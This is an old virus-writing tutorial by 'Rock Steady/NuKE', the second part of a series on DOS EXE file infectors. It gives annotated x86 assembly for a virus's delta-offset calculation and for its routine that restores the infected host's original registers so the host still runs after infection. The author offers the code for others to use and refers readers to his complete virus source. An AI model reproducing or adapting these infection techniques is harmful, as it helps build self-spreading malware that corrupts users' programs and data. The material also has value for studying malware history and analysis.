*****************************   
                  **  EXE Infectors Part II  **                              
                  **                         **                              
                  **   By Rock Steady/NuKE   **
                  *****************************

 The first part consisted on how to Infect the EXE file, from a resident   
 virus. However, that is only HALF the code and understanding needed for   
 EXE infectors. The part to follow, is on how to give control back to the  
 original EXE file. This is one part of EXE infectors, that mostly EVERY   
 ONE tend to forget to point out. Big tickle, you know how to infect the   
 EXE, but can you make the original EXE run after its infection? Do you    
 know how to restore the registers we took from the EXE header? Anyhow     
 lets get going...                                                         
                                                                           
 If the Infected EXE file is now executed, the first Line of Code it will  
 encounter will be the first byte of our Virus. Since CS:IP have been      
 changed in the header (Part I) to point to our Virus. The first thing     
 we will need to do, is set up a Variable offset, (As I call it). Basically
 when TASM compiles our virus, all variables and other data locations are  
 given a FIX address. Though in the case of the Virus this is NOT GOOD as  
 viruses, tend to append themselves, and therefore variables are never     
 in the same location...                                                   
 Fig 1.                                                                    
   (Original ASM Source)                                                   
           CALL   doit_Now             ;Call PUSHes CS:IP addresses        
 doit_now: POP    BP                   ;POP in BP the IP register          
           SUB    BP,offset doit_now   ;Make it EQUAL 0 for first Compile! 
           MOV    AX,word ptr cs:[variable+BP] ;BP=0 now it works!         
           ...                                                             
 variable  dd     55                                                       
 When TASM Compiles the above Code it turns it into Fig 2. (Below)         
 Fig 2.                          Fig 3.                                    
   (Virus Just Compiled)                (Virus Infect to a file)           
 1234:0100   CALL  1234:0103          1234:0100  JMP  500                  
 1234:0103   POP   BP                 1234:0102  ...   (Infect File)       
 1234:0104   SUB   BP,0103                       ...      ''    ''         
 1234:0107   MOV   AX,[0200+BP]       1234:0200  ...      ''    ''         
             ...                                 ...      ''    ''         
 1234:0200   dd    55                 1234:0500  CALL 1234:0503            
                                      1234:0503  POP  BP       (BP=503)    
                                      1234:0504  SUB  BP,0103  (BP=400)    
                                      1234:0507  MOV  AX,[0200+BP]         
                                                 ...      (200+BP=600)     
                                      1234:0600  dd   55                   
 Later when the Virus infects a File, it will represent Fig 3. Now, when   
 the CALL command is executed, it PUSHes into the Stacks the NEXT CS:IP    
 so when it has to RETurn, all it has to do is POP back the CS:IP to know  
 exactly where it left off! So we can take advantage of the command, by    
 POPing back ourselves, thus this will give us the NEXT byte from the CALL 
 command. which as you see, in the examples is our POP BP statement.       
                                                                           
 However when the Virus is Freshly Compiled, all Registers values are GOOD,
 so that is why we must make BP=0 the first time, as the variables were    
 set according to the sources, so no adjustment needed, though when we     
 infect a file, this BP Variable Pointer come ALIVE! (View Fig 3. + Fig 2.)
                                                                           
 Boy, That was the HARDEST part of that, Now if you found that simple pat  
 yourself on the back, as that is the only `BIG' Conflict people tend to   
 disregard or forget. So any time while you are NOT resident but infected  
 on the file, and you are running code from the infected file just use the 
 that BP Variable Pointer, for any data being loaded... Now lets put the   
 routine together, along with the routine to EXECUTE the original EXE file 
                                                                           
 ; After the Virus Has moved a copy of itself in memory, Control must be   
 ; Given back to the Original EXE file we just infected... This is the     
 ; Routine to do it..                                                      
 exit_exe_file:                                                            
         mov     bx,word ptr cs:[buffer+22][bp]  ;Loads CS register        
         mov     ax,cs                           ;Move current CS in AX    
         sub     ax,bx                           ;Subtract for alinment    
         mov     dx,ax                                                     
         add     ax,word ptr cs:[exe_cs][bp]     ;Get ORIGINAL CS          
         add     dx,word ptr cs:[exe_ss][bp]     ;Get ORIGINAL SS          
         mov     bx,word ptr cs:[exe_ip][bp]     ;Get ORIGINAL IP          
         mov     word ptr cs:[fuck_yeah][bp],bx  ;Put IP                   
         mov     word ptr cs:[fuck_yeah+2][bp],ax ;Put CS (Reverse Order)  
         mov     ax,word ptr cs:[exe_sp][bp]     ;Get ORIGNAL SP           
         mov     word ptr cs:[Rock_fix1][bp],dx  ;Put in SS                
         mov     word ptr cs:[Rock_fix2][bp],ax  ;Put in SP                
         db      0B8h     ;The Byte `B80000' is really a MOV AX,????       
 Rock_Fix1:               ;???? is the Value of SS that we will put into   
         dw      0        ;THIS LINE!                                      
         cli                     ;Disable Interrupts (No Jamming)          
         mov     ss,ax           ;Mov the AX (really SS) into SS register  
         db      0BCh    ;Byte `BC0000' is really a MOV SP,????            
 Rock_Fix2:              ;???? is the Value of SP that we will put into    
         dw      0       ;THIS LINE!!                                      
         sti                     ;Enable Interrupts                        
         db      0EAh    ;The Byte `EA00000000' is a JMP CS:IP How ever    
 fuck_Yeah:              ;IP comes FIRST then CS (Reverse Order) And then  
         dd      0       ;the Virus does the JMP CS:IP to the Original     
                         ; Simple huh?                                     
 ; To see this as a HOLE Virus look at `NuKE PoX V1.1' Virus Sources Codes 
 ; Made by me (Rock Steady) As you can see the Code is ORGINAL, and nothing
 ; that looks like any of them Sources we see around. Though I give it to  
 ; you to use.                                                             
                         Rock Steady / NuKE                                
   `One, Two, One, Two, One, Two... Come On Get into that Olympic Spirit'  
     `Lose Them pounds, Get Rid of that unwanted FAT of them Drives...'